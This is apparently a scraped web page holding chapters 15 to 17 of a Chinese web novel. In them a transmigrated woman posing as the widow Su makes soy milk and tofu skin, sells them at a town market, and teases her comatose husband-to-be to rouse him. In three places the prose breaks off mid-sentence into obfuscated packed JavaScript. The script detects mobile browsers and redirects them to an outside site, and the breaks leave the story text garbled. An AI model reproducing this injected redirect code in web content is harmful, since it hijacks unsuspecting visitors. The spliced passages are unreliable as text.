至于盛豆浆的碗,陆鸢从家里挑了三个没什么破损的碗。 就是这木桶,得多带一个,用来装水洗碗。 可家里就一个挑水的桶,这还得去借。 真是要啥啥没有。 陆鸢叹了一口气,又去找黄兰借水桶。 黄兰听到她说是去市集摆摊,也兴奋的说:“家里最近有一些干货,正好也可以拿到市集上买,明天我们一块去。” 15.第 15 章 陆鸢借水桶回来后,便开始劈一根三尺高竹子,把竹子劈成了六条硬实竹条。 两个孩子蹲在一旁看,春花好奇的问:“娘,你在干什么?” 陆鸢应道:“做一个小的晾衣架。” 春花睁着好奇的大眼,问:“用来做什么?” “用来晾?豆腐皮。”她应。 豆腐皮也就是腐竹。 煮豆乳的时候,上头会凝结成一层油皮,夹起放到架子晾着,经过晾晒干之后就成了?豆腐皮。 “豆腐皮是什么?” 春花从记事起,家乡就已经干旱了,没喝过豆乳,也没听说过豆腐皮。 陆鸢看了她一眼,想了想,就解释道:“就像煮米汤煮粥的时候,上边有一层糊状的东西,和那个差不多,只不过这个豆腐皮能夹起来。” 何老婆子闻言:“你懂得还挺多。” 陆鸢笑应:“会做豆乳的,差不多都懂。” 何老婆子不置可否,低头继续刺绣,只是忽然眼前一花,有些瞧不清眼前的东西。 揉了揉眼睛,又晃了一下脑袋,这才勉强看清。 陆鸢恰好看到了这一幕,提醒了一下:“老太太你停一会,眺望一下远处,不然这眼睛很快就看不清东西了。” 上了年纪的老人,眼睛本来就不大好使了,还过度使用,这年代又没有什么眼药水,以后很有可能瞎了。 何老婆子道:“你做你的,我做完这帕子自然就休息了。” 陆鸢也就没再劝,继续做三角架子。 夜幕将临,周围已然被灰蒙蒙笼罩着。 何老婆子洗漱过后,便端水出来,倒进了蓄水坑里。 陆鸢听到声音,从厨房出来:“老太太,我煮了些艾草水给你敷一下眼,可以缓解疲劳的。” 何老婆子诧异地看了她一眼:“你还会这些?” 陆鸢:“以前家里有老人,就经常用艾草水敷眼,效果很好的。” 何老婆子确实眼睛不大舒服,应:“那你给我敷一下。” 陆鸢拿过盆,去盛艾草水,端进了何老婆子的屋子。 何老婆子在床上躺了下来,闭上眼,等着苏氏把热布巾敷上来。 只是没等到热布巾,就先等到苏氏那纤细却粗糙的手指落在了眼尾。 何老婆子睁开眼,看向上方的苏氏:“你作甚?” 陆鸢应:“我先按按,舒缓后再敷,效果会更好。” 何老婆子嘀咕道:“你这人懂得还挺多,今日我见你给晟哥儿按腿脚,很是熟练,看着也不像是乱按的。” 陆鸢应道:“以前照看过瘫痪在床的病人,所以就懂一些。” 陆鸢边说边开始给何老婆子做眼保健操。 按了一会,何老婆子道:“还真别说,这按得还挺舒服的。” 陆鸢:“以后每天按小半刻,能缓解眼睛疲劳,特别适合老太太你这样用眼过度的。” 大抵舒服,何老婆子声音逐渐平缓:“那你每天给我按按。” 陆鸢想了想,委婉道:“可用眼过度了,眼睛始终是会出毛病的,这每天按也只是延缓出毛病的时间而已。” 何老婆子不说话了,就在陆鸢怀疑她是不是睡着了,才听到她开了口。 “我的事,我会自己看着办。” 何老婆子怎会不知过度用眼,有可能会瞎了? 可她还是想在能看得清的时候,多攒一点钱给孙子留着。 现在还盼着一个曾孙,也就更想挣钱,给曾孙也存一些。 陆鸢道:“银子固然要挣,但也不能把眼睛熬坏了,万一之后眼睛坏了,也做不了刺绣了,家里没了进项可咋办?” 说到这,陆鸢也不再劝了。 若是固执,怎么劝都没用。 她捞起了水盆里的布巾,烫着手拧干叠好敷到了何老婆子的眼睛上。 没一会,布巾凉了,她又给换了一遍。 敷了好一会,陆鸢听见了均匀绵长的呼吸声,就知道何老婆子睡了。 她端着水盆出去,轻手轻脚地把门阖上。 泼了水后,她瞧了眼祁晟的屋子。 琢磨了一下,既然老太太都睡下了,她就日常去刺激一下祁晟。 陆鸢放下盆就往祁晟的屋子走了进去。 入了屋子,陆鸢走路特地放重,发出了声响。 待她走到床边,又趴到了祁晟的耳边,慢悠悠地说:“孩子们睡着了,老太太也睡着了,我这个寡妇却睡不着。” 说到这里,伸出手,掌心贴到了胸口祁晟的胸膛上。 “长夜漫漫,该干点什么好呢?”她压低了声音,说得特别引人遐想。 说完这话后,陆鸢便感觉到了掌心之下的心跳似乎快了一点。 她感受到了,也知道这个时候,祁晟是有意识的, 既然这样,那她就多添一把火了。 思及此,陆鸢拿开了手,整个人都俯下身来,趴在了祁晟的身上,脸也贴在他的胸膛上。 “咚--咚-咚咚咚咚” 陆鸢听着心跳声,在心里默默数着心跳的速度,才几声就越发地急促了起来。 祁晟感受到了身上咯人的温热躯体,整颗心都提了起来。 陆鸢趴了一会后,才坐了起来,没继续刺激。 凡事也不是一蹴而就的,还是慢慢来吧。 她起了身,出了屋子。 祁晟感觉到身上一轻,许久也没再感受到,或是听到任何声音,他提着的心终于放下了。 或许是苏氏有贼心,没贼胆,是以才跑了。 祁晟在心下叹了一声,倒也能睡个安慰觉了。 * 古代生活枯燥乏味,天一黑就睡觉,是以早间起得比鸡都早。 鸡还没鸣啼时,怕睡过头的陆鸢就醒了。 望着窗外黑漆漆的一片,也不知是什么时辰,就一直睁着眼等到天色擦亮。 天一擦亮,陆鸢就起床去煮豆乳。 两个孩子也想跟进小厨房,厨房小,转不开身,就被她赶到外头去了。 孩子出去后,陆鸢把昨日做的简易三脚架放在了灶台上,然后开始烧火,把磨好的生豆乳倒进了锅中,再添了一些水进去熬煮。 熬了大概一刻多,豆乳表面形成了一层油膜,她用竹筷捞了起来,挂到了架子上。 顺利地得第一张腐竹,陆鸢的心情是雀跃的。 这下有青菜,野菜之外的菜吃了。 每隔一会,豆乳上都会结一层油皮,她都给捞了起来。 只是到了第五张油皮的时候,明显就薄了很多。 应该是跟豆乳浓度有关,这浓度一般的,腐竹量就少了。 勉勉强强,陆鸢捞了六张油皮出来。 六张油皮也是一顿菜了。 陆鸢煮好了豆乳,豆乳还是滚烫的,得等晾一会才能过滤,也就先去洗漱了。 等过了小半个时辰再进来,豆乳的温度降下来了,也就可以开始过滤。 何老婆子给的麻布虽是新的,但也就布巾大小,而且这布巾还是要赔的。 布巾太小了,固定在桶上都有些困难,也只能是过滤得小心翼翼,省得白过滤了。 这古代的石磨,磨得不够细腻,为了保证豆乳香滑细腻,陆鸢过滤了三遍。 家里洗澡都是用盆,这桶平日都是用来装水,昨日又用开水烫过,已然很干净了。 过滤好了之后,她把锅盖盖到了木桶上边,接着清理豆渣。 过滤出来的豆渣也是可以做菜吃的,可以做饼子吃,也可以用来炒鸡蛋。 还没到出发的时辰,陆鸢让何老婆子盛了小半碗米糠出来,然后就着豆渣加了一小勺盐进去搅拌,做煎饼吃。 有了豆渣,饼子数量也就多了,大人分了三个,小孩两个,然后每个人半碗豆乳。 两个孩子看到这么丰盛的朝饭,眼睛都睁得大大的。 春花问:“娘,这是要过节了吗?” 陆鸢笑了笑:“不是过节,吃吧。” 何老婆子瞧了眼桌面上的吃食,毕竟是苏氏自己掏钱做的豆子,也就什么都没说,端起豆乳尝试了一口。 陆鸢看着她喝完了才问:“老太太,这豆乳做得怎么样?” 她尝过了,可比镇上摆摊的好喝多了,要是能再加点糖进去,那生意绝对好,只是糖精贵,买不起。 不过,岭南盛产甘蔗,等到了季节可以买回来,自己尝试熬糖。 何老婆子放下了碗,回味了两息,看向她:“确实香浓细腻,还有淡淡的清甜。” 陆鸢闻言,更有信心了。 两个孩子也端起来喝了,喝上第一口,眼神都亮了。 春花激动道:“娘,这豆乳好好喝!” 秋花也跟着说:“娘,好。” 陆鸢看向秋花,这两岁的娃了,会说的字就那几个,这肯定不行,以后得多训练说话才成。 吃了朝食,陆鸢就一手提着七分满的豆乳,一手提着装有两只碗和水瓢的空桶出了门。 这大半桶豆乳很沉,她每走一会儿就得歇一歇。 恰好黄兰这个时候也背着个篓子出了门,也赶忙上前帮忙一块抬了。 “你咋不弄给扁担挑着去?” 陆鸢应:“另一边是空的,怕挑不好。” 黄兰道:“你傻呀,两个桶一边装一半豆乳,到镇上倒到一块去,再去装水,不就好了?” 陆鸢愣了一下,随即被自己傻笑了:“我怎么一下子没想到。” 黄兰没好气道:“祁家在村子最末的地方,走到村头都得一刻呢,要不是我跟着你一块去,你就提吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490574|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆鸢道:“那谢谢嫂子了,等到了镇上,我请你喝豆乳。” 黄兰:“那必须的!” 她们刚到村口,一个二十几岁的男人就赶着牛车到了村口。 牛车上还有一筐瓜蔬。 黄兰道:“赶车的事里长家的小儿子,叫刘俊生,赶集日都会给镇上的有客来食肆送些瓜蔬,我听说还是祁晟给介绍的呢。” 陆鸢再次从别人的口中听到了祁晟的事,不禁好奇了起来,祁晟到底是个什么样的人。 到底是什么样的人,才会在他出事后,周边的人都愿意对他的家眷露出几分善意。 陆鸢正要给铜板,里长儿子刘俊生道:“我阿爹说不收祁家的车费。” 陆鸢还没说话,刚准备上车的人就不满的抢先问了:“为啥她不用给?” 刘俊生应道:“人家家里不容易。” “那我家里也不容易,怎不见你也免了我的车费?” 刘俊生半点也不废话:“那让你家男人也给我们家介绍一个挣钱的营生,也把你们家水田便宜卖给我们,我保准你下半生坐牛车都不用花钱。” 那妇人顿时就说不出话来了。 黄兰因着这几日和陆鸢交好,也站在她这边,说:“就是,祁晟帮过里长家,坐牛车不花钱那不是应该的嘛?” 说着,飞快地把陆鸢的两个桶放到了车上,然后与她说:“上车呀。” 陆鸢跨上了牛车。 现在经济困难,不争那口气,能省一文是一文,等挣钱了,再给牛车费也不迟。 坐牛车一路颠簸,不用一个时辰就到了镇上。 这个点,镇上已经是人来人往了,好一点的摆摊位置已经被人占了去,只剩下一些犄角旮旯的位置。 黄兰说:“镇上的里甲画好了摊位大小,一会咱们俩就一个摊位,挤一挤,一人出一文钱,能省钱。” 陆鸢应:“也行,但里甲不会管吗?” 里甲,就是古代镇上的一些治安人员。 黄兰:“只要不过分,都会睁一只眼闭一只眼,很多人都是这么干的。” “还有,一会发一个竹签,依着这个牌子,每个摊位都可去街道口那处打一桶自用水。” 陆鸢原本还寻思着去有客来食肆借水呢,现在有水用,也不用厚着脸皮去借水了。 她们俩在角落找了个位置,很快里甲就过来收钱了。 听到她们说是同一家人,眼神却好似看穿了她们,但也没点破,只是收了两文钱。 拿了竹签,陆鸢让黄兰帮忙看着东西,她去打水。 她打水时,见有卖碗的,一文钱一个,陆鸢想到剩下来的两文钱,就又买了两个。 陆鸢打水回来,洗了碗,盛了一碗豆浆给黄兰:“碗还没人用过,你先喝。” 黄兰接过,笑道:“我也算是借你的光,有口福了。” 陆鸢:“慢点喝,我吆喝一下客人。” 说着转头朝着人来人往的方向开始吆喝:“卖豆乳了,又香又浓的豆乳,一文钱一碗。” 黄兰喝了第一口,就惊喜道:“这豆乳真的又香又浓,而且一点也没有豆腥味,好喝的哩。” 黄兰的声音不小,也间接成了陆鸢的托,路人听到她的话,也就有人走了过来,说:“给我也来一碗。” 陆鸢连忙盛了一碗还有余温的豆浆出来,递给他,收了一文钱。 有了一个客人,陆鸢赶紧继续招揽客人。 有人看着第一个过来喝豆乳的人,就问是不是真的好喝。 那人应道:“还挺好喝的,确实香浓,不像别家那样,都是水,而且也没有豆腥味。” 旁人听了,也过来要了一碗。 陆续地也有一两个过来喝豆乳,毕竟位置不好,而且也不是什么经济划算的吃食,所以一下子也不可能卖得完。 黄兰见有人来喝豆乳,就推销自己家晒的菌子,倒也卖了一些出去。 大概过了小半个时辰,也不知谁帮宣传了一下,一下子来了好几个喝豆乳的人。 陆鸢的豆乳带得不多,也就三十来碗,半个多时辰就给卖完了。 黄兰道:“你生意真好,这多大一会,就卖完了。” 陆鸢心情极好,笑吟吟道:“你生意也不差。” 黄兰也喜道:“我带了五斤的菌子干过来,卖出去了两斤呢,以前摆摊,能卖出去一斤就不错了。” 这一斤卖二十文钱,比肉还贵,家境殷实的,也都只是几两几两的买回去尝鲜。 也还没到回去的时辰,陆鸢让黄兰帮忙看着点东西,她则去买豆子。 这一回豆浆挣钱了,陆鸢心里也有了成算,她琢磨着买四斤豆子,再另外买一个桶一个盆,下回就不用再借别人家的桶了。 这么一琢磨,就觉得今天挣的钱,大概都得花出去了。 16.第 16 章 祁晟知道苏氏今日要去镇上卖豆乳。 不仅苏氏在他跟前说了,祖母也在跟前念叨过这件事。 是以感觉有人给他清理时,他还诧异了一下。 第一次清理,他没太在意,直至第二次清理,他方察觉出不对来。 给他清理的人,不管是手劲,还是过程都与平日苏氏给他擦洗时,是一样的。 可苏氏不是去镇上了,怎还会在家? 祁晟心下有了怀疑。 苏氏在平日里话多,也爱打嘴炮。可每每在给他清理时,却又是一言不发,沉稳得不似她。 清理时,祁晟若是清醒的,都会在心底默默地背诵以前学过的诗词,文章,以此分散注意力。 自然,也就没有仔细感受过给自己清理的双手,到底是什么样的一双手。 今日祁晟察觉到了异样,便静下心来感受。 苏氏的手是粗糙的,这点他能感觉得出来。 ——不对,虽然手上都有剪子,可手掌大小却是不同的。 在握着手臂给他翻身时,他感觉出来了,那手掌似乎特别宽大,不像是女子的手,反倒像是——男人的手! 祁晟不禁在心底揣测了起来。 若给他清理的不是苏氏,而是旁的人男人。那么苏氏在猜测他是有意识的情况下,误导他的目的是什么? 祁晟恍然间想起吴大夫来给他看诊时,说过的话——与他多说话,或能把他刺激醒。 刺激吗…… 苏氏的目的应该是想把他刺激醒。 分析至此,祁晟又回想起苏氏昨夜轻佻的举动和言语,虽放浪,可都是点到即止没了下文。 与其说是调戏,更像是来有意吓唬。 她吓唬过了,所以就走了? 所以说苏氏这几天下来,尽做一些他误会的事,说一些让暧昧至极的话,全是为了把他给气醒? 想到这几日,心被刺激得忽上忽下,祁晟觉着自己要是能做表情,真的会被苏氏给气笑。 祁晟回想起昨晚因她故意调戏,让他整宿心烦意燥,他的心底就莫名升起了一股子火。 他倒是要瞧瞧,被他看穿了的苏氏,接下来还会做些什么,说出些什么惊骇世俗的话来。 * 镇上。 陆鸢买了桶和盆,花去了十六文钱。 豆子买了四斤,是二十文。 今天挣的还不够花的,自己又贴了五文钱。 带来的六文钱都花没了。 陆鸢甚至还向黄兰借了两文钱,去肉摊切了两文钱的猪肝。 猪肝六文钱一斤,两文钱也得了不少,一块差不多有巴掌大。 家里五个人,都得补补气血。而她能想到相对划算的,就是这猪肝了。 猪肝好歹也是荤腥,不仅能补气血,也能解解馋。 村子里有不少的龙葵野菜,回去后,再摘一点,和猪肝一块煮汤,也能起到祛腥的作用。 龙葵野菜很好辨认,开的花是白色的,结的野果有青色有黑色,小小的,圆不溜秋的一颗。 卖完东西回来,她就站在黄兰的身旁,时不时帮忙吆喝几句:“菌子,鲜美香甜的菌子便宜卖了,只需要五文钱四两。” 黄兰听到她的话,懵了一下,赶紧掐着手指头算了起来。 算了好一会后,她才在陆鸢耳边小声嘀咕:“不对呀,我算来算去,五文钱四两,和我买二十文钱一斤也没区别呀,怎么算是便宜卖了?” 恰好有人听到陆鸢的吆喝走了过来,看了一下菌子后,就说:“给我来五文钱。” 黄兰忙拿起秤杆称菌子,也没顾得上继续追问答案。 等人走了,陆鸢才说:“很多人都是买几两的,所以也不用报一斤的价钱,而且二十文一斤,别人听到后,只觉得贵。但你要说是五文钱四两,虽然价钱没变,可听上去便宜了。” 黄兰一琢磨,还真是。 她要是去买东西,一听二十文钱一斤,估计看都不看,直接掉头走。 但你要是说五文钱四两,她还可能会停下来瞧瞧。 想通透了,黄兰立马学着陆鸢的话术叫卖。 “走过的路过的都快来瞧一瞧,鲜美菌子便宜卖了,五文钱四两。” 吆喝了一个时辰,黄兰的菌子又多卖出去了一斤多。 黄兰眼睛都笑眯了:“我摆摊从来没试过生意这么好的,下回赶集,我还和你一块来摆摊。” 陆鸢巴不得黄兰一块来,还能相互搭一把手呢。 虽还未到回去的时辰,但日头渐烈,集市也没几个人走动了,黄兰也就收了摊,和陆鸢去等牛车。 牛车虽说午时正才回去,但只要人齐了,就可以回去了。 刘俊生见人齐了,也就驱赶牛车回围山村。 午时未回到围山村。 日头实在是太大了,即便带着草帽,陆鸢都险些中暑了。 黄兰早间喝了一碗苏氏的豆乳,又因她帮忙吆喝,菌子也多卖了一些出去,所以心里有些不好意思,也就拿了几朵菌子递给陆鸢。 “这个菌子可鲜美了,你拿几朵回去尝尝,下回可以买骨头回来炖汤喝。” 陆鸢接过,笑着道谢:“谢谢嫂子,” 黄兰:“谢啥呢,都是山里捡的菌子,等下回下雨了,我带你一块去。” 两人到了岔路就分开走了。 回到家里,两个孩子就迎了上来,春花给她端了一碗水过来:“娘,喝水。” 陆鸢接过水,一饮而尽。 何老婆子瞧向她添置的物件,问:“豆乳都卖完了?” 陆鸢喝了水,也舒服了一点,应:“全卖完了,我又卖了几斤豆子回来,过几天赶集日再弄去镇上摆摊。” 她顿了顿,问:“吃过中食了吗?” 何老婆子:“吃的早上剩的饼子,锅里还有一个。” 陆鸢正好饿了,就进厨房拿了饼子吃。 吃过饼子,陆鸢把猪肝拿出来清洗,然后生火烧水。 猪肝放到晚上就不新鲜了,所以得先煮沸,等晚上再放野菜进去煮。 陆鸢忙完后,正打算回屋歇个晌,但才出厨房,就听见何老婆子喊:“丽娘,你进我屋里来一趟。” 陆鸢愣了好一会,才反应过来,丽娘就是苏氏的名字。 记忆力,原主叫苏丽娘。 来这都有七八天了,还是第一回听见有人喊这个名字。 她也反应了过来,这些天,何老婆子压根就没怎么与她说话,都是她找话说的。 陆鸢洗了手才进何老婆子的屋子。 一进屋,就见何老婆子拿着一根绳子望着她。 …… 拿绳子作甚? 陆鸢有点慌,但还是镇定自若地走了过去。 何老婆子:“站好,我给你丈量身宽体长。” 陆鸢暗暗松了一口气,站到跟前,张开了手臂。 何老婆子丈量了一会,皱眉道:“你这身段,做衣服都白瞎了。” 陆鸢眨巴了一下眼睛,不明所以。 何老婆子念叨道:“就按你现在的尺量做衣裳,之后日子好了,身上长了肉,定是穿不下了。” 陆鸢闻言,就说:“那便做大一些吧,宁大勿小。” 何老婆子:“便只能这样了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494836|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “行了,你出去吧。” 陆鸢瞧了眼何老婆子的床,上边放了一块粗布,浅栗色又带着些许红。 这怕就是喜服的布料了。 大红色日常穿不上,这颜色,平日里也可以继续穿。 * 陆鸢不知睡了多久,醒来时,浑身懒散得不想动。 躺了好一会,她才起来,带着两个孩子出门遛弯,顺道去摘一些龙葵野草回来下汤。 晚间吃过饭了,陆鸢把猪肝汤熬的米汤端进了祁晟的屋子。 祁晟听到了细微的声响,随着自己的脑袋被抱起,他便知是苏氏。 呵,可算是回来了。 他倒是好奇,她今日还会使什么招数。 陆鸢把杯子塞到了祁晟的脑袋下,接着捏着他下巴,舀了米汤喂进他的口中。 “今天买了点猪肝回来熬粥,补气血的,没什么材料,味道也就一般。” 米汤缓缓流入喉咙中,祁晟却是尝不出什么味。 他的五感相对弱,味觉几乎是没有。 “你整日躺在屋子里,见不得日头,估计也闷,明日我叫人把你抬出去晒晒太阳。” 喂米汤也得小半个时辰,陆鸢便也就自个的聊了起来。 “今日我出摊买豆乳,半个时辰就给买完了,挣了三十一文钱呢,当然减了成本,其实只有二十文,但我觉着这挣头已经很多。” “这次我买了四斤豆子,按这回参考,应该也能挣四十文。” 祁晟原还想着苏氏会如何演戏时,她却又出乎了他的意料。 她话里话外全是话家常,便是动作也没有半点逾越。 祁晟纳闷,苏氏今日怎这么反常? “估计不用多久就可以做冬衣了,也能吃上白米饭,吃上肉了。”陆鸢的声音中带着喜悦。 祁晟也听得出来,她的声音亢奋,满是对生活的憧憬。 他忽然觉得,苏氏也挺乐观的。男人死了,母女三人都被赶出来,又不得不妥协嫁给一个活死人,却还能活得这么有盼头的人,也不多见了。 陆鸢喂完后,整理了一下,就出去了。 在她想来,也不能天天刺激,偶尔还是说说家常,让他觉着生活还是有盼头的,别想不开。 * 辰时的日头最是温和,陆鸢把自个屋子里的竹床拆了,搬到了院子中。 等李老汉来了,给祁晟清理好了之后,她还趴在祁晟的胸膛上,听了一会他的心跳。 她感觉得出心跳频率略微急促,就知道人醒着,便让李老汉帮忙,两个人合力把祁晟抬出了屋外。 自然,在这之前,陆鸢已经征得何老婆子的同意了。 不然也不能够把人抬出来。 把他放下来,垫高了后背,半躺着。 熹微金色晨光斜映了祁晟半张脸,显得五官更立体了。 祁晟双眼紧闭,沐浴在晨光之下,安静地好似男版的睡美人。 陆鸢欣赏了一会,随之拿起蒲扇,还有一把带着淡淡香味的野花。 扇子扇着野花,也朝着他扇去。 清风,花香都朝着祁晟扑面而去。 何老婆子搞不明白苏氏到底在做什么,把人抬出来前,还特意叮嘱了,一会她做什么都不要过问。 再说祁晟昨日没太把苏氏的话当一回事,却不想她还真的把他抬了出来。 渐渐地,他感受到了日光的温暖,也感受到了徐缓的清风,闻到了淡淡花香。 昏迷两个月,一直都是在死气沉沉的屋子里,却从来没有像现在这样舒适过。 祁晟头次感受到了自己原来还是活着的。 17.第 17 章 祁晟昏迷的这些时日,都是从祖母与他说话时揣摩出何时日月更替,猜测时间的流逝。 他昏迷了两个多月,但对他来说这比两年,甚至是二十年都还要漫长。 不能动,不能言,形同瞎了的哑巴瘫子。 没有比这更让人绝望的事了。 他虽曾为罪籍十年,但也是个骄傲的人。 他受不了如同废人一样,在发现自己昏迷不醒却保留着神志时,起初他迫切想醒过来。 但日子一天天过去,每一天对于他来说都非常漫长,在漫长的半个月过去后,他的想法也一日比一日消极。 每天神志清醒时,第一个想法就是——他今日怎么还不死? 长此以往,他便没了活下去的念头,更没有再去想他何时能醒。 但如今沐浴在日照之下,感受到了鲜活的气息。 祁晟想睁开眼的想法忽然强烈,他想瞧瞧这苏氏这会到底在做什么。 昏迷这么久,祁晟很清楚自己五感很弱。 听不了太远的声音,食物滋味很淡,更闻不到远处的气味。 所以这是得把花放得多近,他才能闻到花香? 还有,这风也古怪得很,竟只会怼脸吹。 不用多想,祁晟也猜得出来,这花香和清风都是苏氏弄出来的。 他祖母可没这种刺激人求生的巧思。 显然,这苏氏是个聪明的妇人。 虽猜到了是苏氏故意而为之,但祁晟也很受用。 比起在屋子里躺着,外边确实让他感觉到了鲜活的气息。 春花和秋花都坐在竹床上,都好奇地盯着祁晟瞧。 两个孩子都没进过祁晟的屋子,所以这是她们第一回见到祁晟。 春花盯得入迷,说:“娘,这个叔叔长得好好看呀。” 何老婆子听到这话,嘴角上扬。 可不,她孙子的好相貌,可是十里八乡都出了名的。 陆鸢在一旁举着花扇着扇子,看了眼祁晟。 该说不说,就冲着祁晟的这张脸,要是他醒来后,愿意和她搭伙过日子,也不是不可以。 目光从祁晟的脸上移开,落在俩孩子的是身上。 记忆里,苏丽娘似乎从来没与孩子说过要改嫁的事。 秋花且不说,春花都已经懂事了,要是知道她娘要改嫁,也不知道会不会闹。 日照渐渐晒了起来,祁晟也在外头躺了小半个时辰,该把他弄回去了。 只是李老汉不在,只得是陆鸢半扛着祁晟的手臂,何老婆子在旁帮扶着弄进的屋子。 祁晟昏睡两个多月,身形消瘦了许多,但骨架还在,依旧很沉,陆鸢也扛得很费力,好不容易才把人连拖带扛地放回了床上。 何老婆子打量了一眼苏氏,她因把孙子扛回来,额头满是汗。 这几天苏氏的改变,对孙子的细心照料,何老婆子也都看在了眼里。 看来苏氏是真心打算留下来过日子的了。 陆鸢拿扇子扇了一会自己后,找了个竹筒,把野花插了进去,再拿到自己住的屋子,放到了地上。 她环视了一眼这破烂屋子,这花放在地上,没起到点缀的作用,反倒衬托得更寒酸了。 寒酸且不说,就现在四处漏风,夏秋两季倒是凉快,就是到了冬日,定然是不能御寒的。 想要御寒,就得从屋顶到四面墙都修一修,是个大工程。 可一想到再有十来天就要与大公鸡拜堂,在拜堂过后就得和祁晟成为床搭子。而两个小的,大概也会和何老婆子住一个屋。 若是这么安排下来,也就暂时不用操心房子的事了。 陆鸢胡思乱想了,就去干活了。 把屋子里笋干拿出去晾晒。 晒了三天的笋,已经半干,能吃,但还未晒干透,储存不了多久。 要想储存时间长,就必须晒得更干。 她拣一把笋干,放碗里用水泡着,打算中午炖来吃。 陆鸢琢磨着今早上午也没什么活干,终于可以歇一歇了,可进厨房看见没多少柴薪了。 她还记得上回在山里看见的蛇,她一想到要到山里砍柴,只觉头皮发麻。 可附近的树都是不能砍的,要是不去山里砍柴,用什么烧火,用什么来煮豆浆? 陆鸢觉着头大。 迫不得已,她再次戴上何老婆子先前给的香囊,拿上柴刀和扁担准备出门砍柴。 这回得多砍一点,之后就不用频繁去砍柴。 陆鸢与何老婆子打了一声招呼,就出了门。 这回她可不敢进山里,只敢在外头寻一些矮树砍,还时不时地观察周围的风吹草地。 砍了好一会的树杈,她砍得手发麻,却才得一小把的树枝。 歇了一会儿又继续,约莫砍了一个多时辰,大抵也够用半个多月的了,陆鸢才作罢。 她搓了几根草绳用来捆树枝,捆得实实的,挂在扁担两头,挑着就回去了。 树枝不多,不算特别重,她挑得也相对轻松。 回到家中,得把刚砍的树枝放到院子里暴晒两天,等晒干了再烧,就不会有太浓的烟雾。 陆鸢洗了手,便去做饭。 早上泡的竹笋已经泡发了,她又洗了两遍,拧干水后切成条。 反正也没油,就直接下锅翻炒干水分,这个步骤能让让笋干的口感更好,而且也能去除杂味。 等笋炒干后,再盛到砂锅中,水没过笋,放上几瓣蒜和一勺盐,就盖上锅盖焖至收汁。 主食是昨日里长娘子送的芋头,隔水直接蒸。 小半个时辰后,便端上了桌。 老太太瞧着那盘笋,说:“这样做真能好吃?” 陆鸢:“我也不知道,先试一试。” 她夹了一筷子吃了起来。 没有太惊喜,也没有失望。 口感中隐隐还有少许的涩,她想应该是没有放油的缘故。 而且她为了省盐,只放了一小勺,是以这干笋也没什么味。 相对于陆鸢的平静,何老婆子却是惊讶道:“这么做,竟真的不苦也不涩了。” 陆鸢琢磨道:“虽然不苦不涩,可摆到市集上,估计也没什么人买。” 不同于菌干,大家都知道鲜甜,也愿意多花几文钱买来吃。可麻竹笋在别人的刻板印象里,又苦又涩,而且竹林里都能挖得到,未必见得能花钱买来吃。 这笋干吸油,得配着猪肉炖,或是放猪油炒着才好吃。可她又不能炒好了,拿到市集上让大家先试一试再买。 且不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504708|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这会自己都还没吃上肉呢,就说这板油多贵呀。要是做试吃,她敢说就算好吃,也是十个试吃里头才有一个是真的会买,这样的成本代价太高了,不划算。 何老婆子道:“卖不出就卖不出,自己吃不就成了?” 后山坡那么多的笋,在陆鸢的眼里可都是一个个铜板,她可不想白白浪费了这个资源。 她得在没有试吃的情况下,还让人知道这笋干好吃,等到那会再拿到市集上摆卖。 陆鸢琢磨起了可行的法子,但在法子还没想出来前,她得先干起来。 歇了晌后,陆鸢就去后山坡砍了两根竹子回来。 她打算劈成竹条,再编成两张略为稀疏的大竹屏,放在地上晒笋干。 整个下午,陆鸢都在忙这编竹屏,压根没时间去挖竹笋,只能是明日再去了。 …… 等到第二日,去挖笋前,陆鸢依旧与李老汉合力把祁晟抬出来放风。 待小半个时辰,把人弄回去后,陆鸢才去后山坡挖笋。 她一下连挖了十三四颗竹笋,这麻竹笋体积大,十几颗就差不多有百来斤重了。 一下子背不动全部,只得分三次背回去。 陆鸢忙进忙出,何老婆子瞧了眼地上的笋,索性把手里的活放下,去剥笋。 陆鸢背着最后一趟回来,就见何老婆子已经在清理竹笋了。 她这心里正感叹日久见人心,老太太其实也是没那么势利的。 却不想,下一刻,何老婆子道:“这么多竹笋,你也处理不过来,我给你打下手,这笋子卖钱了,可不能少了我那份。” 陆鸢:…… 她还是感叹早了。 她应:“那也得先卖了钱再说。” 何老婆子:“我也不要多,你八我二。” 陆鸢点头,应:“行。” 就当是房租了,而且老太太说帮忙,也不会含糊,也算是工钱。 这一个人帮忙,她也不用那么累。 两个人又是剥笋,又是切,还要焯水。 焯水过后,又要捞起来晾晒,忙了一整日,才终于把十几颗竹笋给清理好了。 何老婆子一整日没做绣活,眼睛倒是得到了休息,但人却累得不行。傍晚吃了暮食,简单洗漱过后就立马回屋睡了。 